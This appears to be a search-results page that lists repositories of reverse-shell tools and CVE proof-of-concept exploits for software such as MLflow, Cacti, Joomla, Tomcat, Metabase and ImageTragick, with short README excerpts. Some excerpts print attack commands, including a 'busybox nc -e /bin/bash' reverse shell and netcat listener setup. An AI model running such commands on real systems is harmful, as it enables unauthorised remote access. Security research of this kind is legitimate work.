3466 matches found
CVE-2024-37054-MLflow-reverse-shell
Tools & Files File| Purpose ---|--- generatemodel.py| Generates malicious model.pkl with reverse shell payload uploadmodel.py| Uploads pickle to MLflow and promotes it to Production sample.csv| CSV file used to trigger the /predict endpoint Usage 1. Generate the malicious pickle Edit...
micr0_shell
micr0 shell Micr0shell es un script ligero y eficiente en Python diseñado para generar dinámicamente shellcode de reverse shell independiente de posición PIC libre de nulos para Windows X64. Dependiendo de las opciones seleccionadas, el shellcode generado puede ser hasta 27 bytes más pequeño que ...
SSCMS-PluginShell
Install Visual Studio 2. Import this project 3. Modify the IPAddress.Parse value in the Startup.cs file using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using...
hack
💀 PwnKit CVE-2021-4034 & Reverse Shell Toolkit ⚠️ DISCLAIMER: This repository has been created solely for educational and security research purposes. The author is not responsible for the misuse of these tools. Use it only in controlled environments or where you have explicit permission. 📜...
CVE-2024-25641
Cacti CVE-2024-25641 Authenticated Package Upload RCE Proof of Concept PoC This script is a Proof of Concept PoC for exploiting the CVE-2024-25641 vulnerability in Cacti, a web-based monitoring tool. The script automates the process of authenticating with the application, uploading a malicious...
netpwn
netpwn Un framework diseñado para automatizar tareas de pentesting. Escrito en Python 2.7 Módulos reverseshell - Crea una shell reversa con Python para conectarse a una máquina específica de tu elección. sendfile - Te permite enviar un archivo al servidor de destino. phpbackdoor - Genera un...
python-hacklib
hacklib Kit de herramientas para entusiastas del hacking con Python. hacklib es un módulo de Python para entusiastas del hacking interesados en la seguridad de redes. Ya no está en desarrollo activo. Instalación Para obtener hacklib, simplemente ejecuta en la línea de comandos: pip install hackli...
CVE-2016-16113-POC
Get RCE - Bludit CMS Exploit | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| An automated exploitation tool that combines CVE-2019-17240 Authentication Bypass and CVE-2019-16113 Arbitrary File Upload to achieve remote code execution on...
Joomla_CVE-2015-8562
JoomlaCVE-2015-8562 A proof of concept for Joomla's CVE-2015-8562 vulnerability Object Injection RCE Intro/Changelog This PoC is the second version of the implementation hosted at exploit-db. -Fixed regenerate session -Added the option to switch from X-Forwarded-For to User-Agent method -Added th...
php-reverse-shell
PHP Reverse Shell Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author! Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect the underlying OS. Works with both, ncat and...
CVE-2023-28771-PoC
CVE-2023-28771-PoC PoC for CVE-2023-28771 based on Rapid7's excellent writeup Requires the scapy Python library for sending IKE packets. usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help message and exit --cm...
CVE-2025-24893
Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2017-12617
CVE-2017-12617 CVE-2017-12617 is a critical vulnerability leading to Remote Code Execution RCE in Apache Tomcat. This vulnerability works on versions 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81. Tested only on 8.0.24. Vulnerability uses misconfigured PUT option on the...
metabase-pre-auth-rce-poc
Metabase Pre-Auth RCE CVE-2023-38646 POC This is a script written in Python that allows the exploitation of the Metabase's software security flaw described in CVE-2023-38646. The system is vulnerable in versions preceding 0.46.6.1 , in the open-source edition, and preceding 1.46.6.1 , in the...
FuguHub-8.4-Authenticated-RCE-CVE-2024-27697
FuguHub 8.4 Authenticated RCE Fuguhub is a Cloud Media Server Software. The version tested was the debian version at this link: https://fuguhub.com/articles/FuguHub-for-Debian An issue in Real Time Logic LLC FuguHub v.8.4 allows a local attacker to execute arbitrary code via a crafted script to t...
Girsh
Girsh Golang Interactive Reverse SHell ¿A quién no se le ha vuelto aburrido escribir manualmente las pocas líneas para mejorar una reverse shell a una shell interactiva completa spawn de tty, stty size ..., stty raw -echo o escribir el comando para usar ConPTY? Descripción Con Girsh, solo ejecúta...
mediator
Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...
mediator
Mediator es una shell reversa cifrada de extremo a extremo en la que el operador y la shell se conectan a un servidor "mediador" que puentea las conexiones. Esto elimina la necesidad de que el operador/controlador configure el redireccionamiento de puertos para escuchar la conexión. Mediator...
ImageTragick-CVE-2016-3714-RShell
ImageTragick-CVE-2016-3714-RShell These are CVE-2016-3714 mvg/svg POCs using bash, nc, php and other tools to build a reverse shell. Declaration For research and ethical hacking only... Usage 1. Server Side : nc -l - p port number 2. upload the pictures to vul sites Acknowledge Thankd...